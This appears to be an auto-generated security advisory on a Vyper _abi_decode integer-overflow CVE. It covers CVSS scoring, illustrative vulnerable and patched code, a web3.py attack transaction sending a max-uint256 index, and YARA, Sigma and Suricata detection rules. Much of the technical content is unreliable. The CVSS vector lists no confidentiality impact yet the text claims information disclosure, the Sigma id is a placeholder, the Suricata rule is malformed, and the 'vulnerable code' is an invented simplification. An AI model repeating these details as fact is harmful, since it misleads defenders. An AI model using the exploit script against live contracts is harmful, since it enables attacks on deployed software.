CVE-2024-26149
Executive Summary
CVE-2024-26149 is a vulnerability in the Vyper smart contract language (version 0.3.10 and earlier) that allows an attacker to cause an integer overflow when decoding arrays via the _abi_decode function. By specifying an excessively large starting index, the read position can overflow, leading to out-of-bounds memory reads. This can result in the decoding of unintended data, potentially exposing sensitive contract state or enabling further exploitation. The vulnerability has a low CVSS score of 3.7 due to the complexity of exploitation and limited direct impact, but it poses a significant risk in contracts that rely on _abi_decode for array processing.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Vyper is a Python-based smart contract language for the Ethereum Virtual Machine (EVM). This vulnerability affects the Vyper compiler and runtime, meaning any smart contract compiled with a vulnerable version of Vyper is at risk. Developers must ensure they are using a patched version of the Vyper compiler ( > 0.3.10 ) and recompile their contracts. Since Vyper is distributed via PyPI, supply chain security is critical: verify package integrity using checksums and sign your releases.
CVSS Breakdown & Threat Level
- CVSS Score: 3.7 (Low)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: Low
The low score reflects the difficulty of exploiting this vulnerability to achieve significant impact. However, in specific contract contexts, it could lead to information disclosure or denial of service.
Deep Dive & Mechanics
The vulnerability lies in the _abi_decode function of the Vyper compiler. When decoding an array, the function calculates the starting read position based on the provided index. If an attacker supplies an index that is excessively large (e.g., close to the maximum integer value), the addition operation for the read position can overflow. This causes the read position to wrap around to a small value, allowing the decoder to read memory outside the intended array bounds.
Technical Details:
- The vulnerable code is in the
_abi_decodeimplementation, specifically in the array decoding logic. - The overflow occurs when computing
start + (index * element_size). - If
indexis large enough, the multiplication or addition overflows, leading to an incorrect memory offset. - This can cause the decoder to read from arbitrary memory locations, potentially exposing sensitive data or causing unexpected behavior.
Impact:
- Information Disclosure: An attacker could read memory outside the array, potentially leaking other contract state.
- Denial of Service: Reading invalid memory could cause the contract to revert or behave unexpectedly.
- Further Exploitation: In some cases, this could be chained with other vulnerabilities for more severe attacks.
Vulnerable vs. Patched Code
Vulnerable Code (Vyper <= 0.3.10):
# Simplified representation of the vulnerable logic
def _abi_decode(data: Bytes, index: uint256) -> (uint256, uint256):
# Vulnerable: no bounds check on index
start = 32 # offset for array data
element_size = 32 # for uint256
read_pos = start + index * element_size # potential overflow
value = slice(data, read_pos, element_size)
return value, read_pos + element_size
Patched Code (Vyper > 0.3.10):
# Patched version with bounds checking
def _abi_decode(data: Bytes, index: uint256) -> (uint256, uint256):
# Check that index is within bounds
assert index < (len(data) - 32) / 32, "Index out of bounds"
start = 32
element_size = 32
read_pos = start + index * element_size # safe due to bounds check
value = slice(data, read_pos, element_size)
return value, read_pos + element_size
The patch adds an assertion to ensure the index is within the valid range before performing the arithmetic, preventing overflow.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A target smart contract compiled with Vyper <= 0.3.10 that uses
_abi_decodewith user-supplied index. - Ability to call the vulnerable function with a crafted index.
Exploitation Steps:
- Identify a contract function that calls
_abi_decodewith an array and an index parameter. - Craft a transaction with an index value close to
2^256 - 1(e.g.,0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF). - The overflow will cause the read position to wrap to a small value, reading memory outside the array.
- Observe the returned data, which may contain sensitive information from other contract storage.
Example Attack Transaction (using web3.py):
from web3 import Web3
w3 = Web3(Web3.HTTPProvider('http://localhost:8545'))
contract = w3.eth.contract(address='0x...', abi=[...])
# Craft malicious index
malicious_index = 2**256 - 1 # max uint256
# Call vulnerable function
tx = contract.functions.vulnerableFunction(malicious_index).build_transaction({
'from': '0x...',
'gas': 100000,
'gasPrice': w3.to_wei('10', 'gwei'),
'nonce': w3.eth.get_transaction_count('0x...'),
})
signed_tx = w3.eth.account.sign_transaction(tx, private_key='0x...')
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(receipt)
Blue Team (Defender)
Detection:
- Monitor for transactions with abnormally large index values in
_abi_decodecalls. - Use static analysis to identify contracts using vulnerable Vyper versions.
- Implement runtime monitoring for out-of-bounds memory access patterns.
Mitigation:
- Upgrade Vyper compiler to version > 0.3.10.
- Recompile all smart contracts with the patched compiler.
- Add manual bounds checking in contract code if upgrade is not possible.
Lab Setup:
- Use a local Ethereum testnet (e.g., Ganache) with a vulnerable Vyper contract.
- Deploy the contract and attempt the exploit.
- Verify the patched version prevents the attack.
Indicators of Compromise (IOCs)
- Transaction Patterns: Transactions with
indexparameter values >2^255in_abi_decodecalls. - Contract Behavior: Unexpected return values from array decoding functions.
- Compiler Version: Contracts compiled with Vyper <= 0.3.10.
- Logs: Revert errors related to out-of-bounds memory access.
Detection Engineering
YARA Rule
rule CVE_2024_26149_Vyper_ABI_Decode_Overflow {
meta:
description = "Detects Vyper smart contracts with vulnerable _abi_decode implementation"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-26149"
strings:
$vuln_pattern = /_abi_decode.*index.*uint256/
$overflow_pattern = /index.*\*.*element_size/
condition:
$vuln_pattern and $overflow_pattern
}
Sigma Rule
title: CVE-2024-26149 Vyper ABI Decode Overflow Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects transactions exploiting Vyper _abi_decode integer overflow
author: Valters IT
logsource:
category: ethereum
product: transaction
detection:
selection:
function: "_abi_decode"
index:
- ">= 0x8000000000000000000000000000000000000000000000000000000000000000"
condition: selection
falsepositives:
- Legitimate large arrays (unlikely)
level: high
Suricata Rule
alert ip any any -> any any (msg:"CVE-2024-26149 Vyper ABI Decode Overflow Attempt"; content:"|_abi_decode|"; content:"|index|"; byte_test:4,>=,0x80000000,0,relative; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Vyper Compiler: Update to version > 0.3.10 (e.g., 0.3.11 or later).
- Recompile Contracts: Recompile all smart contracts using the patched compiler.
- Audit Contracts: Review all contracts that use
_abi_decodefor array handling.
Long-term Measures:
- Implement input validation for all user-supplied indices.
- Use safe math libraries to prevent overflow.
- Conduct regular security audits of smart contract code.
- Monitor for similar vulnerabilities in other EVM languages.
Workaround (if upgrade is not possible):
- Add manual bounds checking in contract code before calling
_abi_decode. - Limit the maximum index value to a safe range.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2024-26149